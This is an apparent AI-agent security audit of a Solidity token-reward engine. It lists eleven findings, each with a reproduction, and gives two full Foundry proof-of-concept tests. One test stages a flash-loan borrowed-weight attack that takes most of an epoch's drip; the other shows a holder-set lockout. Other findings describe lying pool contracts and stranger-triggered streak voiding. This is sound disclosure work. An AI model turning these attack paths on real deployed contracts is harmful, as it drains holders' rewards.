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Four agents audited the code as it is at f182e9f, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

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• 1.highmin(bal, lastBal) is satisfied by a bag borrowed at two consecutive attacker-run tallies, so a flash loan from outside V4 is weighed in fullsrc/pimd/PimdEngine.sol:435

              uint256 eff = bal < last ? bal : last;
              h.lastBal = uint128(bal);

  The H1 fix weighs each holder on min(bal, lastBal) and the NatSpec on tally says a bag not already there at the previous tally carries no weight. lastBal is written from the live balance by tally itself (line 436) and by register (line 305), fire/tally/pay are permissionless and can run in one transaction once minInterval (2 minutes) has passed, and _requireLocked only sees a borrow taken inside the V4 PoolManager.

  So an attacker who runs two consecutive epochs with a borrowed bag in the registered wallet for the length of each call is present at both reads: the first tally writes lastBal = loan, the second weighs min(loan, loan). The streak is blended toward the first loan epoch, so the weight is 0x for an hour and 0.5x after that, but with a loan several times the honest registered supply 0.5x is already most of every drip.

  To keep lastBal and the streak the attacker must run every epoch (any tally that sees bal < lastBal resets both), which it does by firing at every minInterval boundary so the keeper's fire hits TooSoon; a keeper that lands first costs the attacker a restart, not the capital.

  Precondition: a source of PIMD to borrow outside the V4 pool (a V2 pair flash swap, a money market, or the attacker's own pooled capital, which then earns LP fees elsewhere and the full drip, defeating the purpose of _isPool). None exists at launch, but nothing prevents one. The whole-set tally still stops one bag being counted once per wallet within a single tally; that property holds.

  What does not hold is the documented claim that a borrowed bag carries no weight. Merged from audit_economics (its reproduction confirmed; its path 1, register-time credit with no intervening tally, is a special case that keeper epochs in production would reset, so the two-consecutive-epochs path is the one reported).

  A fix cannot come from balance snapshots at attacker-chosen instants: either the read instant must leave the attacker's control (a restricted tally with abortEpoch as the liveness hatch) or holding time must be tracked where transfers happen. Both are design decisions, reported not proposed.

  whole finding

  Engine with minBalance 100,000 PIMD, 4% drip per 15 minutes, 2 minute floor, pot seeded with 1,000 IMD. alice holds 1,000,000 PIMD, registered; attacker wallet B holds exactly 100,000 PIMD, registered; a lender contract holds 50,000,000 PIMD.

  Warp 15 days and run one honest keeper epoch (both at 3x).

  Then, one hour later, the lender transfers its bag to B, calls fire, tally, pay, and B transfers it back, all in one call; two hours after that the lender does the same again.

  Expected per the tally NatSpec: in the second epoch B is paid at most what a 100,000 bag can earn against alice's 1,000,000 at the same tier, 8.16 IMD of an 89.7 IMD quote.

  Actual: B receives 79.33 IMD (88% of the epoch) while holding 100,000 PIMD before and after, and the loan is back with the lender. forge test --match-path test/scratch/BorrowedWeight.t.sol fails with 79325227679612169070 > 8155773408736173310.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {ERC20} from "solmate/src/tokens/ERC20.sol";
  import {PimdEngine} from "src/pimd/PimdEngine.sol";
  import {PimdToken} from "src/pimd/PimdToken.sol";
  
  /// Stand-in for IMD: a plain 18-decimal ERC-20.
  contract MockIMD is ERC20("Identity.md", "IMD", 18) {
      function mint(address to, uint256 amount) external {
          _mint(to, amount);
      }
  }
  
  /// Stand-in for the PoolManager: the engine only reads its transient unlock flag, which is never set here.
  /// A loan taken anywhere other than inside the V4 PoolManager is exactly what this test stages.
  contract FakePoolManager {
      function exttload(bytes32) external pure returns (bytes32) {
          return bytes32(0);
      }
  }
  
  /// Stand-in for the hook: answers exactly what `bind` and `fire` ask of it, and holds nothing.
  contract FakeHook {
      address public engine;
      address public quote;
      address public token;
      address public poolManager;
      address public launchFactory = address(0xFAC);
      uint256 public holdersOwed;
  
      constructor(address engine_, address quote_, address token_, address pm_) {
          engine = engine_;
          quote = quote_;
          token = token_;
          poolManager = pm_;
      }
  
      function flush() external pure returns (uint256, uint256) {
          return (0, 0);
      }
  
      function flushHolders() external pure returns (uint256) {
          return 0;
      }
  }
  
  /// A flash borrower outside Uniswap V4: holds a bag, lends it to `taker` for the length of one call that
  /// runs a whole epoch, and takes it back before returning. Every engine call is wrapped so that a fix which
  /// refuses the attacker's calls (a keeper-only tally, say) turns the attack into a no-op rather than a revert.
  contract Lender {
      PimdEngine immutable engine;
      PimdToken immutable token;
  
      constructor(PimdEngine e, PimdToken t) {
          engine = e;
          token = t;
      }
  
      function lendAcrossAnEpoch(address taker) external {
          uint256 loan = token.balanceOf(address(this));
          token.transfer(taker, loan);
          try engine.fire() {} catch {}
          if (engine.phase() == PimdEngine.Phase.Tally) {
              try engine.tally(type(uint256).max) {} catch {}
          }
          if (engine.phase() == PimdEngine.Phase.Pay) {
              try engine.pay(type(uint256).max) {} catch {}
          }
          Taker(taker).giveBack(address(this), loan);
      }
  }
  
  /// The attacker's registered wallet. Holds exactly the minimum bag of its own between epochs.
  contract Taker {
      PimdToken immutable token;
  
      constructor(PimdToken t) {
          token = t;
      }
  
      function giveBack(address to, uint256 amount) external {
          token.transfer(to, amount);
      }
  }
  
  /// `tally` weighs on min(bal, lastBal) so that "a bag that was not already there at the previous tally
  /// carries no weight". But lastBal is written by tally itself, and fire/tally/pay are permissionless, so a
  /// bag borrowed for the length of two attacker-run epochs is present at both reads and is weighed in full at
  /// the second one. The attacker's own capital between epochs is one minimum bag.
  contract BorrowedWeightTest is Test {
      uint256 constant MIN = 100_000e18;
  
      PimdEngine engine;
      PimdToken token;
      MockIMD imd;
      FakePoolManager pm;
      FakeHook hook;
      Lender lender;
      Taker taker;
  
      address alice = address(0xA11CE);
      address keeper = address(0x4EE7);
  
      function setUp() public {
          pm = new FakePoolManager();
          imd = new MockIMD();
          token = new PimdToken(); // the whole supply lands here
          engine = new PimdEngine(
              PimdEngine.Config({
                  poolManager: address(pm),
                  imd: address(imd),
                  team: address(0x7EA),
                  binder: address(this),
                  dripBpsPerPeriod: 400,
                  minInterval: 2 minutes,
                  minBalance: MIN,
                  fireTip: 0.02e18,
                  tipPerHolder: 0.0005e18,
                  maxCatchup: 6 hours,
                  maxHolders: 800
              })
          );
          hook = new FakeHook(address(engine), address(imd), address(token), address(pm));
          engine.bind(address(token), address(hook), new address[](0));
  
          // the holders' pot: 1,000 IMD
          imd.mint(address(this), 1_000e18);
          imd.approve(address(engine), type(uint256).max);
          engine.seed(1_000e18);
  
          lender = new Lender(engine, token);
          taker = new Taker(token);
      }
  
      function _register(address who) internal {
          address[] memory a = new address[](1);
          a[0] = who;
          engine.register(a);
      }
  
      function _keeperEpoch() internal {
          vm.startPrank(keeper, keeper);
          engine.fire();
          if (engine.phase() == PimdEngine.Phase.Tally) engine.tally(type(uint256).max);
          if (engine.phase() == PimdEngine.Phase.Pay) engine.pay(type(uint256).max);
          vm.stopPrank();
      }
  
      function test_a_bag_borrowed_at_two_consecutive_tallies_is_weighed_in_full() public {
          // alice is an honest holder of 1,000,000 PIMD. The attacker's wallet holds exactly the minimum.
          uint256 aliceBag = 1_000_000e18;
          token.transfer(alice, aliceBag);
          token.transfer(address(taker), MIN);
          _register(alice);
          _register(address(taker));
          // the lender's bag is 50x alice's. It sits outside every registered wallet between epochs.
          uint256 loan = 50_000_000e18;
          token.transfer(address(lender), loan);
  
          // both holders mature to the top of the ladder on an honest keeper cadence
          vm.warp(vm.getBlockTimestamp() + 15 days);
          _keeperEpoch();
          assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Idle), "the honest epoch completed");
  
          // the attacker runs two consecutive epochs with the loan in the wallet for the length of each call:
          // the first tally writes lastBal = loan, the second is weighed on min(loan, loan).
          vm.warp(vm.getBlockTimestamp() + 1 hours);
          lender.lendAcrossAnEpoch(address(taker));
          uint256 before = imd.balanceOf(address(taker));
          vm.warp(vm.getBlockTimestamp() + 2 hours);
          uint256 quote = engine.dripPreview();
          lender.lendAcrossAnEpoch(address(taker));
          uint256 got = imd.balanceOf(address(taker)) - before;
  
          // between epochs the attacker holds only the minimum, and the loan is back with the lender
          assertEq(token.balanceOf(address(taker)), MIN, "the attacker's own bag is the minimum");
          assertEq(token.balanceOf(address(lender)), loan, "the loan went back");
  
          // the most a wallet that owns the minimum bag can honestly take from that epoch: its bag at the top
          // tier against alice's bag at the top tier
          uint256 honestCeiling = (quote * (MIN * 3)) / (MIN * 3 + aliceBag * 3);
          assertLe(
              got,
              (honestCeiling * 101) / 100,
              "a bag borrowed for the length of the epoch call was weighed in full: the attacker was paid as a holder of the loan"
          );
      }
  }

  whole proof

• 2.mediumReclaim cursor is rolled back by the HolderSetFull revert, so register only ever probes the same eight entries and a dead slot behind a live head is never reclaimedsrc/pimd/PimdEngine.sol:298

              if (holders.length >= maxHolders && !_reclaimSlot()) revert HolderSetFull(maxHolders);

  _reclaimSlot probes RECLAIM_PROBES (8) entries from reclaimCursor, writes reclaimCursor = c on a miss (line 670) and returns false; its NatSpec says the cursor persists so repeated calls sweep the set. Its only caller is register, which on false immediately reverts HolderSetFull, and the revert undoes the cursor write. The cursor therefore moves only on a successful reclaim, to the index just refilled.

  Against a full set register examines the eight entries at the current cursor and nothing else, for ever: if those eight hold at least minBalance and have grown no code, every call reverts identically no matter how many dead entries sit behind them. The fix for finding 2 of the previous audit therefore holds only when a dead entry happens to sit within eight positions of the cursor.

  An attacker who registers eight minimum bags first (8,000,000 PIMD at the production minimum, about 20 IMD at the opening tick) and pads the rest of the set by walking one bag re-creates the lockout the fix was written for, and the same shape arises with no attacker when the first eight registrants are long-term holders and a dead entry sits anywhere later.

  The residual escape is a manual prune of a specific dead address by someone who has enumerated the set off chain, which is the two-transaction, front-runnable state the atomic reclaim was meant to replace; nothing in the HolderSetFull revert says a prune would help.

  On the brief's question whether the reclaim path opened anything new: what it removes is sound (same test as prune, Idle-only, _removeAt is correct including when the evicted entry is the last element, and the registrant cannot be its own evictee because an index1 != 0 address is skipped first); it simply does not deliver the sweep the commit and the NatSpec claim. Merged from audit_permissions, audit_math and audit_flow, which report the same mechanism.

  Fixing it needs the cursor write to survive a miss (skip the account instead of reverting, or move the sweep into a non-reverting path) or a sweep that covers the whole bounded set; no revert can carry a storage write.

  whole finding

  Engine with maxHolders 10 and minBalance 100,000 PIMD (the live 800 behaves the same with the dead entry at index 8 or later).

  Register eight live holders at indices 0..7, each on its own minimum bag.

  Walk one bag through ghost0 and ghost1, registering each (indices 8 and 9), then move the bag out: the set is full, both ghosts hold 0, reclaimCursor is 0.

  Give the bag to an honest address and call register([honest]) up to three times.

  Expected per the NatSpec: attempt 1 probes 0..7 and persists cursor = 8, attempt 2 probes index 8, evicts ghost0 and registers honest.

  Actual: every attempt reverts HolderSetFull(10), reclaimCursor() stays 0, honest is never registered. forge test --match-path test/scratch/ReclaimCursor.t.sol fails on this code and passes when the revert at line 298 is replaced by continue (verified by mutation).

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {ERC20} from "solmate/src/tokens/ERC20.sol";
  import {PimdEngine} from "src/pimd/PimdEngine.sol";
  import {PimdToken} from "src/pimd/PimdToken.sol";
  
  /// Stand-in for IMD: a plain 18-decimal ERC-20.
  contract MockIMD is ERC20("Identity.md", "IMD", 18) {
      function mint(address to, uint256 amount) external {
          _mint(to, amount);
      }
  }
  
  /// Stand-in for the PoolManager: the engine only reads its transient unlock flag, which is never set here.
  contract FakePoolManager {
      function exttload(bytes32) external pure returns (bytes32) {
          return bytes32(0);
      }
  }
  
  /// Stand-in for the hook: answers exactly what `bind` and `fire` ask of it, and holds nothing.
  contract FakeHook {
      address public engine;
      address public quote;
      address public token;
      address public poolManager;
      address public launchFactory = address(0xFAC);
      uint256 public holdersOwed;
  
      constructor(address engine_, address quote_, address token_, address pm_) {
          engine = engine_;
          quote = quote_;
          token = token_;
          poolManager = pm_;
      }
  
      function flush() external pure returns (uint256, uint256) {
          return (0, 0);
      }
  
      function flushHolders() external pure returns (uint256) {
          return 0;
      }
  }
  
  /// The reclaim sweep that was written to close "a walked bag locks the holder set for ever" never moves its
  /// cursor on a miss: `_reclaimSlot` writes `reclaimCursor = c` and returns false, and `register` then reverts
  /// HolderSetFull, which undoes that write. So `register` against a full set only ever examines the eight
  /// entries at the current cursor. Eight live entries at the head and a dead entry anywhere behind them is a
  /// set that `register` can never reclaim, however many times it is called.
  contract ReclaimCursorTest is Test {
      uint256 constant MIN = 100_000e18;
      uint256 constant MAX_HOLDERS = 10;
  
      PimdEngine engine;
      PimdToken token;
      MockIMD imd;
      FakePoolManager pm;
      FakeHook hook;
  
      function setUp() public {
          pm = new FakePoolManager();
          imd = new MockIMD();
          token = new PimdToken(); // the whole supply lands here
          engine = new PimdEngine(
              PimdEngine.Config({
                  poolManager: address(pm),
                  imd: address(imd),
                  team: address(0x7EA),
                  binder: address(this),
                  dripBpsPerPeriod: 400,
                  minInterval: 2 minutes,
                  minBalance: MIN,
                  fireTip: 0.02e18,
                  tipPerHolder: 0.0005e18,
                  maxCatchup: 6 hours,
                  maxHolders: MAX_HOLDERS
              })
          );
          hook = new FakeHook(address(engine), address(imd), address(token), address(pm));
          engine.bind(address(token), address(hook), new address[](0));
      }
  
      function _register(address who) internal returns (bool ok) {
          address[] memory a = new address[](1);
          a[0] = who;
          (ok,) = address(engine).call(abi.encodeCall(engine.register, (a)));
      }
  
      function _registered(address who) internal view returns (bool r) {
          (r,,,,) = engine.holderInfo(who);
      }
  
      function test_register_never_reclaims_a_dead_slot_behind_a_live_head() public {
          // eight live holders fill indices 0..7, each on its own minimum bag
          for (uint256 i; i < 8; ++i) {
              address live = address(uint160(0x1000 + i));
              token.transfer(live, MIN);
              assertTrue(_register(live), "live holder registers");
          }
          // one bag walked through two fresh addresses fills indices 8 and 9; both are left holding nothing
          address ghost0 = address(0xDEAD00);
          address ghost1 = address(0xDEAD01);
          token.transfer(ghost0, MIN);
          assertTrue(_register(ghost0), "ghost0 registers");
          vm.prank(ghost0);
          token.transfer(ghost1, MIN);
          assertTrue(_register(ghost1), "ghost1 registers");
          vm.prank(ghost1);
          token.transfer(address(this), MIN);
          assertEq(engine.holderCount(), MAX_HOLDERS, "the set is full");
          assertLt(token.balanceOf(ghost0), MIN, "ghost0 is dead");
          assertLt(token.balanceOf(ghost1), MIN, "ghost1 is dead");
          assertEq(engine.reclaimCursor(), 0, "cursor at the head");
  
          // an honest holder with a real bag tries to get in. The NatSpec on _reclaimSlot promises that the
          // cursor persists so repeated calls sweep the set: the first call probes 0..7 and moves the cursor to
          // 8, the second finds ghost0 at index 8. Three attempts is more than enough under that promise.
          address honest = address(0xB0B);
          token.transfer(honest, MIN);
          for (uint256 attempt; attempt < 3 && !_registered(honest); ++attempt) {
              _register(honest); // a revert here is HolderSetFull; the sweep is supposed to make the next one succeed
          }
          assertTrue(_registered(honest), "three register attempts never reclaimed either dead slot behind the live head");
          assertEq(engine.holderCount(), MAX_HOLDERS, "and the set is still bounded");
      }
  }

  whole proof

• 3.low_isPool is self-reported: a contract with code from the start can answer the engine differently, or turn pair-shaped later, and tally never re-examines itsrc/pimd/PimdEngine.sol:693

          return _probe(a, IPairLike.token0.selector) == t || _probe(a, IPairLike.token1.selector) == t;

  Answer to the brief's first question. The CREATE2 play is closed: an address vetted codeless loses all weight in the first tally after code lands (_shapeChanged at line 438) and prune and _reclaimSlot drop it on the same test, so unmodified pair code deployed into a pre-registered empty address earns nothing from that epoch on. It is evaded from the other side.

  An address that has code at register gets vettedCodeless = false for good, so _shapeChanged can never fire, and the only pool test it ever faces is _isPool: a staticcall it answers itself.

  Two shapes, both reproduced: (a) a contract whose token0() returns PIMD to every caller except the engine (msg.sender is visible in a staticcall) registers, is weighed and paid every epoch, and prune re-asks the same liar the same question so it can never be removed while its bag stays above the minimum; (b) a contract whose token0() answer is mutable (a storage slot, a proxy) registers while not pair-shaped, becomes pair-shaped without new code, and keeps full weight every epoch until somebody notices and calls prune.

  Any pooled-PIMD contract without the token0/token1 selectors (a Curve-style pool, a vault, a bonding curve) is in the same class as (a). The guarantee the NatSpec gives is against unmodified V2/V3 pair code, which cannot do either; the launch material should not claim more than that. Merged from audit_permissions, audit_math, audit_economics and audit_flow, which report the same mechanism with different example contracts.

  No code-level fix closes (a); re-probing in tally was rejected for gas reasons already stated in the source. Reported, not proposed.

  whole finding

  Harness as test/pimd/PimdBase.t.sol.

  (a) Deploy LyingPair whose token0() returns PIMD unless msg.sender == engine, in which case 0xBEEF; token1() returns 0xdead.

  Transfer 1,000,000 PIMD to it, register([pair]): expected skipped, actual registered.

  Warp 2 days, fire/tally/pay: the pair receives 29,487,906,066,015,158 wei IMD. prune([pair]) leaves it registered.

  (b) Deploy MutablePair with token0 = 0xdead and a setter; fund and register it (accepted); warp 2 days; set token0 = PIMD; run an epoch: it is paid as a pair.

  Both in test/scratch/Leads.t.sol (test_a_pair_that_lies_to_the_engine_registers_is_paid_and_is_never_prunable, test_a_contract_that_turns_pair_shaped_without_new_code_keeps_earning_until_pruned), both pass, i.e. both behaviours reproduce.

  whole reproduction

• 4.lowAny keyless or sweep-less address at or above 0x100 can be funded, registered by a stranger and paid for ever, stranding its share of every dripsrc/pimd/PimdEngine.sol:287

              if (uint160(a) < PRECOMPILE_CEILING) continue;

  Answer to the brief's fourth question. The bind exclusion list (token, IMD, hook, launch factory, PoolManager, engine, team, address(0), DEAD, plus alsoExclude) and the precompile ceiling cover the addresses the launch itself puts PIMD into and the 256 addresses below 0x100. The class is open-ended: address(0x100) itself, vanity burn addresses, any CREATE2 address never deployed to, and any contract with no ERC-20 sweep (WETH, Permit2, another token contract, the test router).

  A stranger sends minBalance PIMD to one and calls register. It is codeless or not pair-shaped so _isPool passes it; no code ever arrives so _shapeChanged never fires; its balance never falls so neither prune nor _reclaimSlot can remove it; and IMD's plain transfer to it succeeds, so _send reports success and the IMD is gone rather than returned to the pot.

  From fourteen days on it earns at 3x on its bag and dilutes every honest holder by its share, and excluded is write-once so nothing can be done after bind. Nobody profits and the griefer loses the bag (0.1% of supply per entry at the production minimum), which is why this is low. It is recorded because the precompile exclusion reads as if it closes the keyless case, and because the only full mitigations change the delivery model (pull-based claims or self-registration).

  Merged from audit_math and audit_economics.

  whole finding

  Harness as test/pimd/PimdBase.t.sol.

  Register alice on a bought bag.

  Transfer 1,000,000 PIMD to address(0x100) and call register([0x100]): expected refused like a precompile, actual registered.

  Warp 15 days, fire/tally/pay: imd.balanceOf(0x100) == 29,487,906,066,015,158 wei and nothing can move it. prune([0x100]) leaves it registered. test/scratch/Leads.t.sol::test_a_keyless_address_above_the_precompile_ceiling_registers_and_strands_drips passes, i.e. the behaviour reproduces.

• 5.lowA stranger can void a counterfactual smart-account holder's matured streak by deploying the account through its public factory, then prune itsrc/pimd/PimdEngine.sol:682

          return h.vettedCodeless && a.code.length != 0;

  Answer to the brief's second question. There is no reachable state in which a holder earns nothing and cannot be pruned: _shapeChanged is the same test in tally, prune and _reclaimSlot, so whatever it zeroes it also lets out, and a wallet that later clears a 7702 delegation goes back to a plain shape with vettedCodeless false and keeps earning. That part is confirmed.

  The bluntness has a cost the NatSpec does not mention: it assumes only the holder can make code arrive at their address. For a counterfactual smart-account address that is false.

  ERC-4337 account factories expose createAccount(owner, salt) to anyone and the account lands at the address the owner has been funding, so a holder who received PIMD at a not-yet-deployed account, registered it and matured a 3x streak can have the streak taken by a stranger who pays the deployment gas: the next tally weighs them at zero, the stranger prunes them, and re-registration starts the clock from zero with vettedCodeless false.

  The holder loses up to fourteen days of maturation per address; no funds move; attacker cost is gas. Reported from audit_permissions and confirmed. A fix that keeps the blunt check would key the shape test on code hash rather than code presence, or not restart the clock on re-registration after a shape-only removal; both are design choices.

  whole finding

  Harness as test/pimd/PimdBase.t.sol.

  AccountFactory.predict(owner, salt) gives W with no code.

  Transfer 1,000,000 PIMD to W, register([W]), register alice too, warp 15 days: holderInfo(W).tierBps == 30000.

  A stranger calls factory.deploy(owner, salt); W now has code.

  Run an epoch: imd.balanceOf(W) == 0.

  The stranger calls prune([W]): W is unregistered. register([W]) again: registered with tierBps == 0. test/scratch/Leads.t.sol::test_a_stranger_can_void_a_counterfactual_wallets_streak passes, i.e. the behaviour reproduces.

  whole reproduction

• 6.lowtally still pays tipPerHolder on the tw == 0 path and fire's tip stands, so a null epoch moves IMD from the pot to the caller while totalDripped stays 0src/pimd/PimdEngine.sol:455

          _tip(tipPerHolder * (end - start));

  The M4 fix stops fire arming a tip budget and paying fireTip when drip == 0 or the set is empty. The symmetric case was not closed: when the set is non-empty but every holder weighs zero, fire arms tipBudget (5% of the drip) and pays fireTip, tally returns epochQuote to the pot and goes Idle, and then still pays tipPerHolder times the entries walked.

  Nothing was distributed, EpochPaid is not emitted and totalDripped does not move, yet up to 5% of that cycle's drip left the pot, and fire can be called again after minInterval. tw == 0 for the whole set is reachable with no attacker in the first hour after the first registrations (every tier is 0x under an hour), and with one: a set padded with ghost entries below minBalance weighs zero and still pays tipPerHolder per ghost walked, 2.4 IMD for 800 at the production value, bounded only by the 5% budget of each cycle.

  Bounded and non-compounding, so a leak rather than a drain, but it is the case M4 was meant to close. Merged from audit_permissions, audit_math and audit_flow. The minimal change that keeps the tip policy is to skip _tip on the tw == 0 branch, mirroring fire.

  whole finding

  Harness as test/pimd/PimdBase.t.sol (fireTip 0.02 IMD, tipPerHolder 0.0005 IMD). alice buys 500 IMD of PIMD and registers.

  Warp 30 minutes (inside her first hour). keeper calls fire then tally(1).

  Phase goes Tally then Idle, totalDripped() == 0, epochQuote() == 0 (returned to the pot).

  Expected if tips reward distribution: keeper's IMD balance unchanged.

  Actual: keeper's IMD balance rises by 20,500,000,000,000,000 wei (fire tip plus one tally tip) out of the pot. test/scratch/Leads.t.sol::test_a_null_epoch_still_pays_tips_out_of_the_pot passes, i.e. the behaviour reproduces.

  whole reproduction

• 7.lowThe 900 constructor ceiling is measured in the cheapest tally state; with every balance changed since the last tally 900 holders cost 33.3M gas and cannot be weighed under the 32M ArbOS limitsrc/pimd/PimdEngine.sol:194

          if (c.maxHolders == 0 || c.maxHolders > 900) revert BadConfig();

  The comment above this line, the deploy script and test_the_holder_bound_fits_the_chains_per_transaction_budget all use 34.6k gas per weighed holder, measured by Gas.t.sol with every balance unchanged since registration, where the lastBal/streakStart slot is rewritten with the same value (100 gas). In a traded market balances change between tallies, which makes that write a nonzero-to-nonzero SSTORE (2,900 gas) and the streak blend runs.

  Measured on this code with every holder's balance changed since the last write: 38.0k per holder at 100 holders, 37.0k at 800 and 900 once the fixed overhead is amortised; 800 holders cost 29.6M (92.5% of 32M) and 900 cost 33.3M, which cannot execute.

  So the ceiling that exists so that an unweighable set cannot be configured admits one, and with no owner and prune only able to drop dead or pool-shaped entries an engine deployed at 900 would cycle fire, tally-reverts, abortEpoch for ever once full. The launch value of 800 does fit today, so this is a margin error rather than a live failure; the comment, the script and the ceiling should carry the changed-balance number. Reported from audit_flow and confirmed by measurement.

  whole finding

  Engine with maxHolders n, minBalance 100,000 PIMD.

  Register n holders each holding minBalance + 1 PIMD, then transfer 1 PIMD more to each so every balance differs from the lastBal written at registration; warp 2 days; fire; measure tally(n) with gasleft().

  Actual: n=100 unchanged 3,456,897 (34,568 per holder, matching Gas.t.sol); n=100 changed 3,802,297 (38,022); n=800 changed 29,609,769; n=900 changed 33,296,705 > 32,000,000.

  The same figures under forge test --isolate. test/scratch/GasWorst.t.sol prints them.

  whole reproduction

• 8.lowbind excludes the engine's team immutable but never checks or excludes the hook's team(), so a deploy where TEAM_MULTISIG differs from PimdHook.TEAM_WALLET leaves the wallet the hook pays registrablesrc/pimd/PimdEngine.sol:249

              team,

  The engine's team immutable is used in exactly one place, the exclusion list at bind. The hook carries its own copy as TEAM_WALLET and that is the address that receives 25% of every tax. bind validates the hook's engine(), quote(), token(), poolManager() and launchFactory() against the engine's configuration precisely because bind is one-shot and a mismatch would be unrecoverable, but IPimdHookLike does not declare team() and nothing compares the two.

  The deploy script takes the engine's team from TEAM_MULTISIG with no assertion that it equals the hook constant. If they differ, the wallet that actually receives the team's IMD can hold PIMD and be registered by anyone, which test_team_is_excluded_from_drips says must not happen, while an address that receives nothing is excluded instead. Exclusion is write-once so it cannot be corrected afterwards.

  The wallet can forward IMD so nothing is stranded; the effect is that the team farms the holders' pot, against the stated policy that the team never holds PIMD. Merged from audit_permissions and audit_flow. The one-line fix is to require h.team() == team at bind, or add h.team() to the exclusion list.

  whole finding

  Harness as test/pimd/PimdBase.t.sol.

  Deploy a second engine with team = X.

  Deploy a second harness hook with engine = that engine and team() = Y, Y != X, open its pool through the factory, bind. excluded(X) is true, excluded(Y) is false.

  Transfer 1,000,000 PIMD to Y and call register([Y]): holderInfo(Y).registered is true. test/scratch/Leads.t.sol::test_the_hooks_team_wallet_is_not_excluded_when_it_differs_from_the_engines passes, i.e. the behaviour reproduces.

• 9.infototalToTeam and the Flushed event book the pre-tip team slice, overstating what the team received by every outside caller's tipsrc/pimd/PimdHook.sol:451

          totalToTeam += toTeam;

  On the engine's path the tip is zero and the commit's test asserts totalToTeam == owedTeam there, where it happens to be exact. On every other flush tip = min(callerTip, 20% of toTeam) goes to msg.sender and the team receives toTeam - tip, but totalToTeam += toTeam and Flushed(msg.sender, toHolders, toTeam, tip) both book the full slice as paid to the team.

  There is no tips counter, so the lifetime stat the site reads drifts from the team wallet's balance by the sum of all outside tips. Accounting only; no IMD moves wrongly. From audit_math, confirmed.

  Fix: book toTeam - tip, or add a tips counter.

  Harness as test/pimd/PimdBase.t.sol. alice buys 100 IMD of PIMD: teamOwed = 0.6 IMD. keeper calls flush().

  Expected: totalToTeam equals what the team wallet received.

  Actual: totalToTeam() == 600,000,000,000,000,000 while the team's IMD balance rose by 590,000,000,000,000,000 and the keeper's by 10,000,000,000,000,000. test/scratch/Leads.t.sol::test_totalToTeam_counts_the_caller_tip passes, i.e. the behaviour reproduces.

• 10.infoA sale restarts the streak only if it is still visible at the next tally; selling and buying back the same amount inside one epoch window keeps the tier, contrary to the NatSpec and READMEsrc/pimd/PimdEngine.sol:427

                  h.streakStart = uint64(nowTs); // sold or sent out: the clock restarts

  The token has no transfer hook, so the engine can only compare the balance at this tally with lastBal from the previous one. A holder who sells and buys back at least the same amount before the next tally shows bal >= lastBal: equal keeps streakStart untouched, larger blends it by size, and neither restarts it.

  The NatSpec on tally says selling 'still restarts the streak immediately' and the README says selling restarts the streak; between two tallies (15 minutes at the keeper's cadence, 2 minutes at the floor) neither is true. Weight is still bounded by min(bal, lastBal) so nothing is over-counted; this is a documentation mismatch, recorded from audit_flow so the stated economics match the code, not a proposal to change them.

  Harness as test/pimd/PimdBase.t.sol. alice buys 100 IMD of PIMD, registers, warps 15 days and an epoch runs: tierBps == 30000.

  She sells half her bag to the pool, then buys back exactly the amount sold with an exact-out buy, all before the next tally.

  15 minutes later an epoch runs.

  Expected per the documentation: tierBps == 0 for an hour.

  Actual: tierBps == 30000. test/scratch/Leads.t.sol::test_a_sale_undone_before_the_next_tally_keeps_the_tier passes, i.e. the behaviour reproduces.

• 11.infofire's nested try/catch around flush and flushHolders is safe but silent: a pull that fails every time leaves no on-chain tracesrc/pimd/PimdEngine.sol:356

                  try hook.flushHolders() {} catch {}

  Answer to the brief's question on the pattern.

  It is safe in the ways that matter: the hook is bound only after bind verified it answers engine()/quote()/token()/poolManager(), so there is no codeless target or return-decoding failure that escapes the catch; the hook's unlock closes before flush returns, so _book and the epoch run with the PoolManager locked; a reentrant call into the engine from inside flush is blocked by nonReentrant; and the 63/64 rule means a caller cannot starve flush into the catch while keeping enough gas to finish fire.

  The weakness that hid one breakage before is unchanged: both catches are empty. If IMD ever refuses the engine, or the hook reverts for any other reason, fire succeeds, books no income, opens an epoch on the existing pot and emits only Fired, so the chain state is indistinguishable from a quiet market while holdersOwed grows at the hook. Recommend emitting an event carrying the pending amount in the inner catch; no behavioural change.

  From audit_math, confirmed.

  whole finding

  Harness as test/pimd/PimdBase.t.sol. alice buys 200 IMD of PIMD and registers; hook.holdersOwed() > 0. vm.mockCallRevert(imd, transfer(engine, *)) so both flush and flushHolders revert.

  Warp 2 days, keeper calls fire(): it does not revert, totalIncome() == 0, hook.holdersOwed() is unchanged, no event other than Fired.

  Expected for an unattended keeper: a visible signal that the pull failed. test/scratch/Leads.t.sol::test_fire_succeeds_silently_when_both_pulls_revert passes, i.e. the behaviour reproduces.

  whole reproduction

1. Posted19 minto the first attempt
2. Audit permissionsAgent #1844found 1 medium, 3 low, 1 info

   The review is complete. The findings file at .imd-findings.json holds five entries, no tracked file was changed, and the local suite still passes 71 of 71.

   Verdict on the four fixes from the last audit

   • Flush no longer tips the engine. Closed. The tip is zero when the caller is the engine, the 20% cap still applies to everyone else, and the team now receives its whole slice on the fire path.
   • Full set reclaims a dead slot. Partly closed, and it opened the one medium below. The removal test itself is sound (balance under minimum, or code where none was vetted), it cannot be aimed at a healthy holder, and swap-and-pop is correct when the reclaimed entry is last. But the sweep cursor is written inside a path that then reverts, so it never persists.
   • Bind excludes the factory, register refuses precompiles. Closed. All Arbitrum system precompiles sit below the 0x100 ceiling.
   • Holder bound 800 under a ceiling of 900. Closed. Measured tally cost is 34.6k gas per holder, so 800 is 27.7M and 900 is 31.1M against the 32M per-transaction limit. The ceiling is tight but the deployed value has headroom.

   The four holder-set questions

   1. CREATE2 play. Closed. A codeless address that later receives code weighs zero the same epoch and is prunable. The other side is not closed: a contract that has code from the start answers the probe itself and can answer differently to the engine than to the world. Reported as low with a working lying pair.
   2. Earns nothing and cannot be pruned. No such state is reachable. Every zero-weight cause (under minimum, shape change, first hour) is either prunable or transient. The only unprunable zero-earner is an address IMD refuses, whose share recycles to the pot by design.
   3. Prune aimed at a good holder. Not through balance or the pool probe. It is possible through shape for one class: counterfactual smart-account addresses, which any stranger can deploy through a public factory. Reported as low.
